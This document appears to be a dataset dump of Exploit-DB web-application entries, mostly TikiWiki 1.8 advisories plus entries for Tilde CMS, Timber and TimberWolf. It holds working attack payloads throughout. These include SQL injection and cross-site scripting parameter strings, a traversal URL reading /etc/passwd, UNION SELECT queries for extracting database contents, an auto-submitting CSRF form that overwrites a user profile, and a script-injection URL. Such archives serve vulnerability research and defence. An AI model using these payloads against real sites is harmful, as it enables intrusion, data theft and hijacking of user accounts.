deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23948
Description: TikiWiki Project 1.8 - 'img/wiki_up' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
 
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

http://www.example.com/img/wiki_up/filenamehere
Exploit-DB #23953
Description: TikiWiki Project 1.8 - 'messu-mailbox.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
     
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

messu-mailbox.php?flags=&priority=&find=[XSS]
messu-mailbox.php?flags=&priority=[XSS]
Exploit-DB #23954
Description: TikiWiki Project 1.8 - 'messu-read.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
      
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=date_desc&find=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=&sort_mode=[XSS]
messu-read.php?offset=[INT]&flag=&priority=&flagval=[XSS]
messu-read.php?offset=[INT]&flag=&priority=[XSS]
messu-read.php?offset=[INT]&flag=[XSS]
messu-read.php?offset=[XSS]
Exploit-DB #23956
Description: TikiWiki Project 1.8 - 'tiki-browse_categories.php?parentId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
        
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-browse_categories.php?find=&deep=off&parentId=[VID][XSS]
Exploit-DB #23966
Description: TikiWiki Project 1.8 - 'tiki-browse_categories.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
             
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-browse_categories.php?find=&deep=off&parentId=[VID]&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23965
Description: TikiWiki Project 1.8 - 'tiki-directory_ranking.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
            
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-directory_ranking.php?sort_mode=[SQL]
Exploit-DB #23973
Description: TikiWiki Project 1.8 - 'tiki-directory_search.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
               
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-directory_search.php?how=or&words=&where=all&sort_mode=[SQL]
Exploit-DB #23974
Description: TikiWiki Project 1.8 - 'tiki-file_galleries.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
               
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-file_galleries.php?find=&search=find&sort_mode=[SQL]
Exploit-DB #23971
Description: TikiWiki Project 1.8 - 'tiki-index.php?comments_offset & offset' SQL Injections
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-index.php?page=[VPG]&comments_threshold=[INT]&comments_offset=[SQL]
Exploit-DB #23957
Description: TikiWiki Project 1.8 - 'tiki-index.php?comments_threshold' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
         
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-index.php?page=[VPG]&comments_threshold=[INT][XSS]
Exploit-DB #23984
Description: TikiWiki Project 1.8 - 'tiki-list_blogs.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
                
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_blogs.php?find=&offset=[SQL]
Exploit-DB #23977
Description: TikiWiki Project 1.8 - 'tiki-list_blogs.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_blogs.php?find=&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23982
Description: TikiWiki Project 1.8 - 'tiki-list_faqs.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
                
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_faqs.php?find=&offset=[SQL]
Exploit-DB #23975
Description: TikiWiki Project 1.8 - 'tiki-list_faqs.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_faqs.php?find=&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23959
Description: TikiWiki Project 1.8 - 'tiki-list_file_gallery.php?galleryID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
         
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_file_gallery.php?galleryId=[VID][XSS]
Exploit-DB #23964
Description: TikiWiki Project 1.8 - 'tiki-list_file_gallery.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
            
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_file_gallery.php?find=&galleryId=[VID]&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23983
Description: TikiWiki Project 1.8 - 'tiki-list_trackers.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
                
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_trackers.php?find=&offset=[SQL]
tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23976
Description: TikiWiki Project 1.8 - 'tiki-list_trackers.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-list_trackers.php?find=&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23949
Description: TikiWiki Project 1.8 - 'tiki-map.phtml' Traversal Arbitrary File / Directory Enumeration
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
  
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

/tiki-map.phtml?mapfile=../../../../var/
Exploit-DB #23958
Description: TikiWiki Project 1.8 - 'tiki-print_article.php?articleId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
         
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-print_article.php?articleId=[VID][XSS]
Exploit-DB #23955
Description: TikiWiki Project 1.8 - 'tiki-read_article.php?articleId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
       
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-read_article.php?articleId=[VID][XSS]
Exploit-DB #23947
Description: TikiWiki Project 1.8 - 'tiki-switch_theme.php?theme' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info

Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-switch_theme.php?theme=[XSS]
Exploit-DB #23960
Description: TikiWiki Project 1.8 - 'tiki-upload_file.php?galleryID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
          
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-upload_file.php?galleryId=[VID][XSS]
Exploit-DB #23978
Description: TikiWiki Project 1.8 - 'tiki-usermenu.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
              
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-usermenu.php?find=&offset=[SQL]
Exploit-DB #23963
Description: TikiWiki Project 1.8 - 'tiki-usermenu.php?sort_mode' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
           
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-usermenu.php?find=&offset=[INT]&sort_mode=[SQL]
Exploit-DB #23972
Description: TikiWiki Project 1.8 - 'tiki-user_tasks.php?offset & sort_mode' SQL Injections
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
               
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-user_tasks.php?task_useDates=&taskId=[VID]&offset=[SQL]
Exploit-DB #23962
Description: TikiWiki Project 1.8 - 'tiki-view_chart.php?chartId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
           
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-view_chart.php?chartId=[VID][XSS]
Exploit-DB #23961
Description: TikiWiki Project 1.8 - 'tiki-view_faq.php?faqId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
          
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

tiki-view_faq.php?faqId=[VID][XSS]
Exploit-DB #23951
Description: TikiWiki Project 1.8 - Add Site Multiple Options Remote Code Injections
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
    
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

Directory > Add Site > Name
Directory > Add Site > Description
Directory > Add Site > URL
Directory > Add Site > Country
Exploit-DB #23950
Description: TikiWiki Project 1.8 - User Profile Multiple Option Remote Code Injections
Type: webapps
Platform: php
Date: 2004-04-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10100/info
   
Multiple vulnerabilities have been identified in various modules of the application. These vulnerabilities may allow a remote attacker to carry out various attacks such as path disclosure, cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload.

User Profile > Theme
User Profile > Country Field
User Profile > Real Name
User Profile > Displayed time zone
Exploit-DB #4942
Description: TikiWiki Project < 1.9.9 - 'tiki-listmovies.php' Directory Traversal
Type: webapps
Platform: php
Date: 2008-01-20
Author: Sha0

Exploit:
TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability

http://www.vulnsite.com/tiki-listmovies.php?movie=../../../../../../etc/passwd%001234

# milw0rm.com [2008-01-20]
Exploit-DB #30815
Description: Tilde 4.0 - 'Aarstal' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-26
Author: KiNgOfThEwOrLd

Exploit:
source: https://www.securityfocus.com/bid/26592/info

Tilde is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Tilde 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[tilde_path]/index.php?id=[yeardetail_id]&mode=yeardetail&aarstal=[XSS]
Exploit-DB #4662
Description: Tilde CMS 4.x - 'aarstal' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-26
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

Original Here: http://www.inj3ct-it.org/exploit/tilde.txt

---------------------------------------------------------------

Tilde CMS <= v. 4.x "aarstal" parameter SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd				

---------------------------------------------------------------
PoC

D'u need an explanation?!? i don't think so :P
---------------------------------------------------------------
SQL Injection

http://[target]/[tilde_path]/index.php?id=[id]&mode=yeardetail&aarstal=%27

Little examples

Using user() and database() functions u can get some informations about the 
database...as:

http://[target]/[tilde_path]/index.php?id=[yeardetail_id]
&mode=yeardetail&aarstal=999/**/union/**/select/**/1,2,user(),database(),5/*

Or u can get some recordes by the database like:

http://[target]/[tilde_path]/index.php?id=[id]
&mode=yeardetail&aarstal=999/**/union/**/select/**/1,2,[row_name],4,[row_name]
/**/from/**/[table_name]/*

D'u want the tables n' the rows? Find it yourself ;P
---------------------------------------------------------------
something else..

Xss Vulnerability

http://[target]/[tilde_path]/index.php?id=[id]&mode=yeardetail&aarstal=[XSS]
---------------------------------------------------------------
Full Path Disclosure

http://[target]/[tilde_path]/index.php?search=%
3C&mode=search&sider=on&tss=on&linier=on
---------------------------------------------------------------

# milw0rm.com [2007-11-26]
Exploit-DB #44748
Description: Timber 1.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-24
Author: L0RD

Exploit:
# Exploit Title: Timber - Ultimate Freelancer Platform  1.1 - Cross site request forgery
# Date: 2018-05-24
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Vendor Homepage:
https://codecanyon.net/item/timber-ultimate-freelancer-platform/14747284?s_rank=1717
# Version: 1.1
# Tested on: Kali linux
=========================================

# POC :

<html>
<head>
  <title>CSRF POC</title>
</head>
  <body>
    <form action="http://test.com/timber/request/backend/ajax/profile/update_user_profile" method="POST">
      <input type="hidden" name="user&#95;nonce" value="e748717abd" />
      <input type="hidden" name="profile&#95;avatar" value="" />
      <input type="hidden" name="first&#95;name" value="decode" />
      <input type="hidden" name="last&#95;name" value="lord" />
      <input type="hidden" name="user&#95;name" value="test" />
      <input type="hidden" name="job" value="Marketing&#32;Specialist" />
      <input type="hidden" name="company" value="Envato" />
      <input type="hidden" name="email" value="lord&#64;decode&#46;com" />
      <input type="hidden" name="website" value="http&#58;&#47;&#47;envato&#46;com" />
      <input type="hidden" name="language" value="en&#95;US" />
      <input type="hidden" name="phone&#95;num" value="&#43;33&#32;&#40;0&#41;1&#32;42&#32;68&#32;53&#32;00" />
      <input type="hidden" name="country" value="FR" />
      <input type="hidden" name="city" value="Paris" />
      <input type="hidden" name="address1" value="8&#32;Rue&#32;de&#32;Londres" />
      <input type="hidden" name="address2" value="75009&#32;test" />
      <input type="hidden" name="zip&#95;code" value="" />
      <input type="hidden" name="vat&#95;nubmer" value="" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

==========================================
Exploit-DB #29337
Description: TimberWolf 1.2.2 - 'shownews.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-24
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/21733/info

TimberWolf is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.2.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/shownews.php?nid=>'><ScRiPt%20%0a%0d>alert[PII_REDACTED])%3B</ScRiPt>